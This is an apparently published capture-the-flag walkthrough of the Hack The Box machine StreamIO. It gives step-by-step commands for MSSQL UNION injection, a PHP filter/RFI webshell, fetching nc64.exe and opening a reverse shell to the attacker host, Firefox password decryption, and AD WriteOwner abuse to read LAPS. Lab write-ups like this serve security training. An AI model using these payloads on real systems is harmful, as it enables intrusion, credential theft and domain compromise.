Post

StreamIO

An unauthenticated MSSQL UNION injection on watch.streamio.htb dumped all user password hashes; cracking them gave admin login, and the admin panel's debug parameter passed user input directly to PHP include(), enabling source disclosure via php://filter and Remote File Inclusion through master.php's eval(file_get_contents()) to land a reverse shell.

StreamIO

Overview

StreamIO is a medium-difficulty Windows Active Directory machine. The attack chain opens with an unauthenticated SQL injection on a movie search page that dumps the full users table via MSSQL UNION injection; cracking the MD5 hashes gives admin credentials, and the admin panel exposes a debug URL parameter that passes user input directly into PHP’s include() call — enabling PHP filter source-code disclosure and, through master.php’s eval(file_get_contents($_POST['include'])) sink, full Remote File Inclusion RCE. From there, hardcoded database credentials disclosed by the LFI lead to a backup database with another user’s hash, Firefox’s key4.db decrypted with firepwd.py exposes a third user’s domain password, and BloodHound reveals that user holds WriteOwner over a group whose members can read LAPS secrets — yielding the Administrator password via ldapsearch.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

Heavy enumeration and high real-life scores reflect the multi-layer chain — vhost discovery, MSSQL UNION injection, PHP filter source disclosure, backup database credential recovery, Firefox profile decryption, and BloodHound-driven AD ACL abuse — all techniques that appear regularly in real Windows AD environments.

Recon

PortServiceNotes
53/tcpDNSDomain controller DNS
80/tcpHTTPIIS — redirects to HTTPS
88/tcpKerberosDC indicator
389/tcpLDAPActive Directory
443/tcpHTTPSstreamio.htb + watch.streamio.htb vhosts
445/tcpSMBWindows file sharing
636/tcpLDAPSActive Directory over TLS
5985/tcpWinRMWindows Remote Management
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p53,80,88,389,443,445,636,5985 -sC -sV -Pn 10.10.10.X

Port 443 serves two vhosts: streamio.htb (the main site) and watch.streamio.htb (a movie-watching portal). The presence of ports 88, 389, and 636 immediately identifies this as a domain controller. Add the vhosts to /etc/hosts:

1
echo "10.10.10.X streamio.htb watch.streamio.htb dc.streamio.htb" | sudo tee -a /etc/hosts

Enumeration

Browsing watch.streamio.htb reveals a movie search feature at /search.php. Testing the q parameter with a single quote returns a database error, confirming SQL injection. Column-count enumeration shows six columns, and a UNION query leaks the entire users table:

1
2
3
curl -sk "https://watch.streamio.htb/search.php" \
  -d "q=10' UNION SELECT 1,CONCAT(username,CHAR(58),password),3,4,5,6 FROM users-- -" \
  | grep -oP 'class="p-2">\K[^<]+' | grep -v "^$" | sed 's/ //g'

Save the MD5 hashes and crack them with rockyou:

1
hashcat -m 0 hashes_only.txt /usr/share/wordlists/rockyou.txt --force

Several hashes crack; yoshihide:66boysandgirls.. grants access to streamio.htb/login.php. After logging in, the admin panel at https://streamio.htb/admin/ exposes a debug URL parameter. Using PHP’s php://filter wrapper reads source files without executing them:

1
2
3
SESS=$(grep PHPSESSID cookies.txt | awk '{print $NF}')
curl -sk "https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php" \
  -b "PHPSESSID=$SESS" | grep -oP '[A-Za-z0-9+/]{50,}={0,2}' | head -1 | base64 -d

The decoded source reveals hardcoded credentials db_admin:B1@hx31234567890 and confirms the debug parameter passes its value to PHP’s include(). Reading master.php with the same technique exposes the RFI sink: eval(file_get_contents($_POST['include'])).

Foothold

With RFI confirmed, serve a PHP webshell and trigger it via master.php:

1
2
echo '<?php system($_GET["cmd"] ?? "whoami"); ?>' > /tmp/cmd.php
python3 -m http.server 9004 -d /tmp &
1
2
3
4
curl -sk "https://streamio.htb/admin/?debug=master.php" \
  -b "PHPSESSID=$SESS" \
  -X POST \
  -d "include=http://10.10.10.X:9004/cmd.php"

Stage a reverse shell by serving nc64.exe then executing it:

1
2
3
4
echo '<?php system("curl http://10.10.10.X:9004/nc64.exe -o c:\\windows\\temp\\nc64.exe"); ?>' > /tmp/get_nc.php
curl -sk "https://streamio.htb/admin/?debug=master.php" \
  -b "PHPSESSID=$SESS" \
  -X POST -d "include=http://10.10.10.X:9004/get_nc.php"
1
nc -lvnp 4447
1
2
3
4
echo '<?php system("c:\\windows\\temp\\nc64.exe 10.10.10.X 4447 -e cmd.exe"); ?>' > /tmp/revshell.php
curl -sk "https://streamio.htb/admin/?debug=master.php" \
  -b "PHPSESSID=$SESS" \
  -X POST -d "include=http://10.10.10.X:9004/revshell.php"

A shell lands as streamio\yoshihide.

Lateral Movement — yoshihide to nikk37

From the yoshihide shell, query the backup database using the hardcoded credentials found via LFI:

1
sqlcmd -S "(local)" -U db_admin -P "B1@hx31234567890" -Q "USE streamio_backup; SELECT username,password FROM users;"

The streamio_backup database contains a separate user table. nikk37’s hash cracks to [email protected]. With WinRM open on port 5985:

1
evil-winrm -i streamio.htb -u nikk37 -p '[email protected]'

User flag

1
type C:\Users\nikk37\Desktop\user.txt   # HTB{...}

Shell access as nikk37 is established and the user flag is ours.

Privilege Escalation

From the nikk37 WinRM session, locate Firefox’s saved-password database in the user’s roaming profile:

1
Get-ChildItem -Path "C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles" -Recurse -Include "key4.db","logins.json" | Select FullName
1
2
Copy-Item "C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db" C:\Windows\Temp\
Copy-Item "C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json" C:\Windows\Temp\

Exfiltrate both files to the attacker machine (base64 encode, copy, then decode), then decrypt with firepwd.py:

1
python3 /tmp/firepwd.py

This reveals JDgodd:JDg0dd1s@d0p3cr3@t0r. Collect BloodHound data using those credentials:

1
2
python3 bloodhound.py -d streamio.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' \
  -gc dc.streamio.htb -ns 10.10.10.X -c all

Import the resulting ZIP into BloodHound. The graph shows JDgodd holds WriteOwner over the CORE STAFF group, and CORE STAFF members can read LAPS ms-MCS-AdmPwd on the domain controller. Download PowerView to the target via the nikk37 session and exploit the privilege misassignment chain:

1
Invoke-WebRequest -Uri "http://10.10.10.X:9004/PowerView.ps1" -OutFile "C:\Windows\Temp\PowerView.ps1"
1
Import-Module C:\Windows\Temp\PowerView.ps1
1
$SecPass = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
1
$Cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $SecPass)
1
Set-DomainObjectOwner -Identity 'CORE STAFF' -OwnerIdentity JDgodd -Cred $Cred
1
Add-DomainObjectAcl -TargetIdentity 'CORE STAFF' -PrincipalIdentity JDgodd -Cred $Cred -Rights All
1
Add-DomainGroupMember -Identity 'CORE STAFF' -Members 'JDgodd' -Cred $Cred

With JDgodd now a member of CORE STAFF, retrieve the LAPS Administrator password from LDAP:

1
2
3
4
5
6
ldapsearch -H ldap://streamio.htb \
  -b 'DC=streamIO,DC=htb' \
  -x \
  -D '[email protected]' \
  -w 'JDg0dd1s@d0p3cr3@t0r' \
  '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd

The ms-Mcs-AdmPwd attribute returns the current rotating local Administrator password. Authenticate with it:

1
evil-winrm -i streamio.htb -u Administrator -p '<LAPS_PASSWORD>'

Root flag

1
type C:\Users\Administrator\Desktop\root.txt   # HTB{...}

Full domain compromise achieved — Administrator shell obtained via LAPS secret retrieval through an AD ACL WriteOwner abuse chain.

This post is licensed under CC BY 4.0 by the author.